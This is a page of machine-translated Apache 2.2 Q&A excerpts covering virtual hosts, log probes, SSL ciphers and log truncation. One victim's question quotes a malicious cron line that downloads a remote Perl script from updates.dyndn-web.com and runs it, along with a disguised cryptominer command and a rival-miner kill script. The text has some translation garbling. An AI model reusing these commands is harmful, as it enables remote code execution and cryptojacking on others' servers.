Articles of apache 2.2

在ubuntu上创build虚拟主机apache2时出现a2ensite错误“网站不存在”

我在/ home / junda / www /目录下为我的网站创build了文件。 我使用symfony2,意味着公共文件进入/ home / junda / www / symfony2-tries / web /目录。 然后我input以下命令到terminal更改权限: sudo chmod -R a+rX ~/www sudo chmod a+rx ~ 我还使用以下内容创build/etc/apache2/sites-available/symfony2-tries.com文件: # domain: symfony2-tries.com # public: /home/junda/www/symfony2-tries.com/ <VirtualHost *:80> # Admin email, Server Name (domain name) and any aliases ServerAdmin [email protected] ServerName www.symfony2-tries.com ServerAlias symfony2-tries.com # Index […]

这些奇怪的访问请求是什么?

我在我的电脑上使用WAMPServer进行testing和开发。 我忘记了,并在网上留了几天,我注意到一些随机请求甚至不是我的IP。 这里有些例子。 77.73.69.127 – – [29/Apr/2012:08:22:20 -0700] "HEAD /manager/html HTTP/1.0" 200 – 58.218.199.250 – – [29/Apr/2012:08:31:54 -0700] "GET http://www.verysurf.com/proxyheader.php HTTP/1.1" 404 213 58.218.199.147 – – [29/Apr/2012:08:35:37 -0700] "GET http://www.travelimgusa.com/ip.php HTTP/1.1" 200 1340 58.218.199.250 – – [29/Apr/2012:10:03:53 -0700] "GET http://61.152.144.145/judge.php HTTP/1.1" 200 1355 58.218.199.227 – – [29/Apr/2012:12:04:07 -0700] "GET http://59.53.91.9/proxy/judge.php HTTP/1.1" 200 1335 58.218.199.250 – […]

./kernelupdates 100%的CPU使用率

我有一个CENTOS6服务器运行一些wordpress和tomcat网站。 在过去的两天里,它一直在崩溃。 经过调查,我们发现在服务器上消耗100%cpu的二进制文件。 过程在下面提到。 ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx 但是这个过程似乎无效的内核更新。 可能是服务器被攻破,这个过程是由黑客安装的,所以我杀了这个过程,并删除了Apache用户的cron条目。 但不知怎的,这个过程在几个小时后又重新开始,cron项目也恢复了,我正在寻找修改cron作业的东西。 这个过程是否属于采矿过程? 我们如何停止cronjob修改,并清除这个过程的来源? Cron条目(apache用户) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/…/abc.txt;curl -O http://updates.dyndn-web.com/…/abc.txt;perl abc.txt;rm -f abc* 的abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall […]

返回404代码进行未经授权的尝试

我有一个pipe理员目录在我的networking服务器(http://test.com/admin),我不希望未经授权的人访问此/pipe理员/目录,而不是我想返回404错误代码的所有未经授权的访问。 我的问题是,有什么办法可以返回404错误代码的所有访问尝试,除了几个特定的​​IP地址? 我的networking服务器是Linux上的Apache(plesk)。

如何在Apache + mod_ssl中禁用MEDIUM和WEAK / LOW强度密码?

PCI合规性扫描build议我们禁用Apache的MEDIUM和LOW / WEAK强度密码以确保安全。 有人可以告诉我如何禁用这些密码? Apache v2.2.14 mod_ssl v2.2.14 这是他们告诉我们的: 简介:远程服务支持使用中等强度的SSL密码。 说明:远程主机支持使用提供中等强度encryption的SSL密码,目前我们认为密码长度至less为56位,小于112位。 解决scheme:尽可能重新configuration受影响的应用程序,以避免使用中等强度的密码。 风险因素:中/ CVSS基础评分:5.0(CVSS2#AV:N / AC:L / Au:N / C:P / I:N / A:N)[更多] 简介:远程服务支持使用弱SSL密码。 说明:远程主机支持使用提供弱encryption或根本不encryption的SSL密码。 另请参阅: http : //www.openssl.org/docs/apps/ciphers .html解决scheme:尽可能重新configuration受影响的应用程序以避免使用弱密码。 风险因素:中/ CVSS基础评分:5.0(CVSS2#AV:N / AC:L / Au:N / C:P / I:N / A:N)[更多]

使用Apache的默认目录索引文件时,如何从URL中删除尾部的斜杠?

我正在使用Apache来提供由静态HTML文件组成的博客。 目前,博客使用一个相当标准的URL结构,如下所示: /2010/03/21/my-awesome-blog-post/ 映射到该文件 /2010/03/21/my-awesome-blog-post/index.html 使用Apache的mod_dir 。 我想删除结尾的斜杠,以便URLs /2010/03/21/my-awesome-blog-post 以同样的方式工作(不要redirect)。 有没有办法与Apache做到这一点? (请注意,我希望URL后面的斜杠也能继续工作。) (进一步说明:我看到了一些关于Apache的DirectorySlash指令,但我不认为它是做我想要的…虽然我不确定)。

我可以在同一个IP上有我的DNS服务器和我的networking服务器吗?

我刚刚买了一个树莓派,并把它做成一个networking服务器。 我有一个1 IP的networking。 我创build了一个DMZ,我可以从互联网上访问我的树莓派networking服务器。 我购买了一个我打算用于我的网站的域名,但是我发现我需要创build一些名称服务器(主要和次要),并为那些从我购买域名的域名服务器提供IP。 我的问题是:我可以有我的DNS服务器和我的网站使用相同的IP? 是真的需要有一个辅助名称服务器(因为我只有一个IP,我不认为我可以有一个辅助名称服务器)? 接下来要做什么? 我应该在我的树莓上安装DNS服务器并进行configuration吗? 我可以让我的网站只用1个IP和1个树莓派来运行吗? 我怎么能实现所有这些东西(让我的网站在我的覆盆子上运行,我的域名指向它)? 谢谢!

有一种方法可以在进程写入时删除/截断文件吗?

我们有一个运行在Linux上的apache服务器写入日志文件,这个日志文件变得非常大(access_log)。 我们的服务器将开始用尽空间。 有没有办法删除或截断文件,而无需重新启动服务器(我们不希望任何停机时间)。

端口443上的Apache NameVirtualHost忽略ServerAlias

我已经在端口443上设置了一个基于名称的虚拟主机设置,这样主机“apple.fruitdomain”上的请求代理到apple-app,主机“orange.fruitdomain”上的请求代理到orange-app。 这是工作,但我想添加一个ServerAlias为每个这样的主机上的请求'苹果'代理苹果应用程序和主机'橙'的请求代理橙色的应用程序。 如果我只是将一个ServerAlias指令添加到虚拟主机,它不起作用。 下面的ssl.conf: Listen 443 NameVirtualHost *:443 <VirtualHost *:443> ServerName apple.fruitdomain ServerAlias apple SSLProxyEngine on ProxyPass /apple-app https://localhost:8181/apple-app ProxyPassReverse /apple-app https://localhost:8181/apple-app … </VirtualHost> <VirtualHost *:443> ServerName orange.fruitdomain ServerAlias orange SSLProxyEngine on ProxyPass /orange-app https://localhost:8181/orange-app ProxyPassReverse /orange-app https://localhost:8181/orange-app … </VirtualHost> 有趣的是,如果我做了类似的设置,但端口80然后ServerAlias工程…

Apache2configuration错误:“<VirtualHost>未closures”错误

所以我已经检查了我的configuration文件,我真的不能看到任何标签没有正确closures的实例…但我一直得到这个configuration错误…你介意看看通过错误和下面的configuration文件? 任何援助将不胜感激。 仅供参考,我已经从错误中search了生活,并且广泛地查看了日志,我实在找不到任何东西。 错误: apache2:/etc/apache2/apache2.conf第236行的语法错误:/ etc / apache2 / sites-enabled / 000-default第1行的语法错误:/ etc / apache2 / sites-enabled / 000-default:1 :没有closures。 apache2.conf的第236行: # Include the virtual host configurations: Include /etc/apache2/sites-enabled/ 000-default的内容: <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from […]